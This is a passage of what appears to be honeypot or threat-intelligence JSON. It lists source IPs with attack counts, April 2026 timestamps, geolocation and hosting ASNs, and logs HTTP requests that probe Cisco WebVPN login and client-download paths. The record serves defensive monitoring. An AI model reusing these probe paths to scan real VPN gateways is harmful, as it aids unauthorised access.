        "\"GET /+CSCOE+/sdesktop/logout.html HTTP/1.1\" 404 -",
        "\"GET /+CSCOL+/Java.jar HTTP/1.1\" 404 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /+CSCOL+/csvrloader64.cab HTTP/1.1\" 404 -",
        "\"GET /+CSCOU+/MacTunnelStart.jar HTTP/1.1\" 404 -",
        "\"GET /+CSCOU+/csco_logo.gif HTTP/1.1\" 404 -",
        "\"GET /+CSCOU+/info.jpg HTTP/1.1\" 404 -",
        "\"GET /CSCOSSLC/cvcconfig HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue"
    },
    "142.252.8.10": {
      "attack_count": 43,
      "first_seen": "2026-04-12T02:28:12.180Z",
      "last_seen": "2026-04-14T02:21:39.978Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "23.234.72.231": {
      "attack_count": 36,
      "first_seen": "2026-04-11T08:21:47.510Z",
      "last_seen": "2026-04-27T15:42:04.483Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.168.216.31": {
      "attack_count": 30,
      "first_seen": "2026-04-08T19:09:58.413Z",
      "last_seen": "2026-04-28T02:49:48.702Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 399935,
      "as_org": "Hayashimo LLC"
    },
    "23.234.108.31": {
      "attack_count": 30,
      "first_seen": "2026-04-09T01:39:09.914Z",
      "last_seen": "2026-04-29T21:25:45.117Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "166.88.9.188": {
      "attack_count": 28,
      "first_seen": "2026-04-12T00:53:30.975Z",
      "last_seen": "2026-04-13T16:40:12.415Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.80.187": {
      "attack_count": 24,
      "first_seen": "2026-04-16T07:18:57.705Z",
      "last_seen": "2026-04-28T04:22:48.601Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "153.80.44.176": {
      "attack_count": 23,
      "first_seen": "2026-04-12T00:56:45.170Z",
      "last_seen": "2026-04-13T06:46:37.497Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New Vineyard",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "142.252.121.146": {
      "attack_count": 21,
      "first_seen": "2026-04-12T03:10:38.975Z",
      "last_seen": "2026-04-14T01:48:58.290Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "146.70.166.243": {
      "attack_count": 21,
      "first_seen": "2026-04-08T19:05:27.198Z",
      "last_seen": "2026-04-30T05:25:16.268Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "173.249.254.231": {
      "attack_count": 21,
      "first_seen": "2026-04-19T01:55:53.283Z",
      "last_seen": "2026-04-30T01:07:58.829Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.98.59": {
      "attack_count": 21,
      "first_seen": "2026-04-10T12:12:26.732Z",
      "last_seen": "2026-04-25T06:55:27.315Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.210.30": {
      "attack_count": 21,
      "first_seen": "2026-04-08T11:22:43.021Z",
      "last_seen": "2026-04-29T06:08:46.536Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "68.235.46.44": {
      "attack_count": 21,
      "first_seen": "2026-04-08T13:21:34.239Z",
      "last_seen": "2026-04-26T01:36:13.740Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "103.102.246.227": {
      "attack_count": 18,
      "first_seen": "2026-04-08T16:55:32.601Z",
      "last_seen": "2026-04-28T06:20:35.408Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "155.2.191.145": {
      "attack_count": 18,
      "first_seen": "2026-04-18T09:47:38.920Z",
      "last_seen": "2026-04-27T18:29:18.405Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "185.156.46.162": {
      "attack_count": 18,
      "first_seen": "2026-04-16T07:33:15.415Z",
      "last_seen": "2026-04-29T10:58:06.409Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.109.157": {
      "attack_count": 18,
      "first_seen": "2026-04-08T15:22:08.516Z",
      "last_seen": "2026-04-29T13:13:10.045Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.74.170": {
      "attack_count": 18,
      "first_seen": "2026-04-16T05:08:37.608Z",
      "last_seen": "2026-04-29T22:05:21.719Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.80.99": {
      "attack_count": 18,
      "first_seen": "2026-04-13T13:31:09.234Z",
      "last_seen": "2026-04-30T02:12:45.329Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.90.157": {
      "attack_count": 18,
      "first_seen": "2026-04-18T14:28:33.124Z",
      "last_seen": "2026-04-27T22:18:11.613Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.95.233": {
      "attack_count": 18,
      "first_seen": "2026-04-11T06:39:21.047Z",
      "last_seen": "2026-04-27T23:57:08.014Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "103.102.246.106": {
      "attack_count": 15,
      "first_seen": "2026-04-08T19:35:46.096Z",
      "last_seen": "2026-04-23T18:40:25.801Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "104.165.128.154": {
      "attack_count": 15,
      "first_seen": "2026-04-12T02:00:02.963Z",
      "last_seen": "2026-04-13T06:35:52.621Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Philadelphia",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "146.70.165.137": {
      "attack_count": 15,
      "first_seen": "2026-04-21T04:56:31.008Z",
      "last_seen": "2026-04-23T20:41:30.442Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "155.2.191.95": {
      "attack_count": 15,
      "first_seen": "2026-04-11T09:28:14.882Z",
      "last_seen": "2026-04-29T17:14:20.120Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "173.249.255.45": {
      "attack_count": 15,
      "first_seen": "2026-04-24T03:48:32.437Z",
      "last_seen": "2026-04-29T20:04:44.244Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.168.216.233": {
      "attack_count": 15,
      "first_seen": "2026-04-13T11:02:30.376Z",
      "last_seen": "2026-04-24T11:14:38.879Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 399935,
      "as_org": "Hayashimo LLC"
    },
    "23.234.104.45": {
      "attack_count": 15,
      "first_seen": "2026-04-08T16:36:45.613Z",
      "last_seen": "2026-04-29T04:51:34.951Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.108.48": {
      "attack_count": 15,
      "first_seen": "2026-04-15T10:36:18.734Z",
      "last_seen": "2026-04-29T21:35:57.746Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.75.104": {
      "attack_count": 15,
      "first_seen": "2026-04-08T23:47:32.122Z",
      "last_seen": "2026-04-29T09:22:51.900Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.77.61": {
      "attack_count": 15,
      "first_seen": "2026-04-16T04:18:05.106Z",
      "last_seen": "2026-04-29T21:22:00.304Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.88.157": {
      "attack_count": 15,
      "first_seen": "2026-04-21T04:38:16.727Z",
      "last_seen": "2026-04-28T00:15:20.816Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.96.170": {
      "attack_count": 15,
      "first_seen": "2026-04-23T16:46:57.718Z",
      "last_seen": "2026-04-27T15:55:40.513Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.98.71": {
      "attack_count": 15,
      "first_seen": "2026-04-21T01:54:57.378Z",
      "last_seen": "2026-04-27T23:32:11.090Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "142.252.25.78": {
      "attack_count": 14,
      "first_seen": "2026-04-12T02:26:25.453Z",
      "last_seen": "2026-04-13T01:29:32.061Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "143.244.47.75": {
      "attack_count": 13,
      "first_seen": "2026-04-08T16:01:58.114Z",
      "last_seen": "2026-04-18T19:42:20.881Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "146.70.166.176": {
      "attack_count": 12,
      "first_seen": "2026-04-08T11:37:37.312Z",
      "last_seen": "2026-04-30T00:36:01.997Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.166.240": {
      "attack_count": 12,
      "first_seen": "2026-04-10T02:18:44.214Z",
      "last_seen": "2026-04-26T00:54:22.303Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.187.147": {
      "attack_count": 12,
      "first_seen": "2026-04-12T02:28:34.545Z",
      "last_seen": "2026-04-30T00:13:05.425Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.72.236": {
      "attack_count": 12,
      "first_seen": "2026-04-18T15:04:38.016Z",
      "last_seen": "2026-04-19T01:40:58.387Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.76.156": {
      "attack_count": 12,
      "first_seen": "2026-04-10T02:59:33.943Z",
      "last_seen": "2026-04-29T22:45:53.718Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "43.225.189.135": {
      "attack_count": 12,
      "first_seen": "2026-04-08T15:59:33.355Z",
      "last_seen": "2026-04-25T09:24:23.129Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Boston",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "103.81.231.100": {
      "attack_count": 9,
      "first_seen": "2026-04-09T01:39:26.608Z",
      "last_seen": "2026-04-27T19:34:26.500Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "104.36.50.39": {
      "attack_count": 9,
      "first_seen": "2026-04-18T15:58:35.831Z",
      "last_seen": "2026-04-23T14:23:12.324Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.234.115.157": {
      "attack_count": 9,
      "first_seen": "2026-04-11T05:14:35.908Z",
      "last_seen": "2026-04-27T10:48:28.349Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.117.233": {
      "attack_count": 9,
      "first_seen": "2026-04-18T09:32:50.206Z",
      "last_seen": "2026-04-23T05:01:30.595Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.68.233": {
      "attack_count": 9,
      "first_seen": "2026-04-13T07:48:10.395Z",
      "last_seen": "2026-04-21T15:08:56.879Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.88.100": {
      "attack_count": 9,
      "first_seen": "2026-04-15T11:27:05.629Z",
      "last_seen": "2026-04-23T03:39:39.086Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.93.61": {
      "attack_count": 9,
      "first_seen": "2026-04-08T12:21:20.515Z",
      "last_seen": "2026-04-29T13:21:22.595Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "104.36.50.26": {
      "attack_count": 6,
      "first_seen": "2026-04-11T11:35:45.438Z",
      "last_seen": "2026-04-30T05:56:18.082Z",
      "ports": [],
